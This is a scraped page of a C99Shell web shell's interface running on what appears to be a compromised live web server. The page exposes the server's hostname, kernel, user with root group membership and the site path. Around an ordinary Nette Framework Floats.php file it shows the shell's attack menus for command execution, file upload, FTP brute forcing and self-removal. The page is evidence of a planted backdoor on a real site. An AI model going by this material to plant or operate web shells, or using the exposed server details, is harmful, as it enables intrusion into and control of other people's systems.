!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/nette/utils/src/Utils/   drwxr-xr-x
Free 28.51 GB of 117.98 GB (24.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Floats.php (2.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of the Nette Framework (https://nette.org)
 * Copyright (c) 2004 David Grudl (https://davidgrudl.com)
 */

declare(strict_types=1);

namespace 
Nette\Utils;

use 
Nette;


/**
 * Floating-point numbers comparison.
 */
class Floats
{
    use 
Nette\StaticClass;

    private const 
Epsilon 1e-10;


    public static function 
isZero(float $value): bool
    
{
        return 
abs($value) < self::Epsilon;
    }


    public static function 
isInteger(float $value): bool
    
{
        return 
abs(round($value) - $value) < self::Epsilon;
    }


    
/**
     * Compare two floats. If $a < $b it returns -1, if they are equal it returns 0 and if $a > $b it returns 1
     * @throws \LogicException if one of parameters is NAN
     */
    
public static function compare(float $afloat $b): int
    
{
        if (
is_nan($a) || is_nan($b)) {
            throw new 
\LogicException('Trying to compare NAN');

        } elseif (!
is_finite($a) && !is_finite($b) && $a === $b) {
            return 
0;
        }

        
$diff abs($a $b);
        if ((
$diff self::Epsilon || ($diff max(abs($a), abs($b)) < self::Epsilon))) {
            return 
0;
        }

        return 
$a $b ? -1;
    }


    
/**
     * Returns true if $a = $b
     * @throws \LogicException if one of parameters is NAN
     */
    
public static function areEqual(float $afloat $b): bool
    
{
        return 
self::compare($a$b) === 0;
    }


    
/**
     * Returns true if $a < $b
     * @throws \LogicException if one of parameters is NAN
     */
    
public static function isLessThan(float $afloat $b): bool
    
{
        return 
self::compare($a$b) < 0;
    }


    
/**
     * Returns true if $a <= $b
     * @throws \LogicException if one of parameters is NAN
     */
    
public static function isLessThanOrEqualTo(float $afloat $b): bool
    
{
        return 
self::compare($a$b) <= 0;
    }


    
/**
     * Returns true if $a > $b
     * @throws \LogicException if one of parameters is NAN
     */
    
public static function isGreaterThan(float $afloat $b): bool
    
{
        return 
self::compare($a$b) > 0;
    }


    
/**
     * Returns true if $a >= $b
     * @throws \LogicException if one of parameters is NAN
     */
    
public static function isGreaterThanOrEqualTo(float $afloat $b): bool
    
{
        return 
self::compare($a$b) >= 0;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--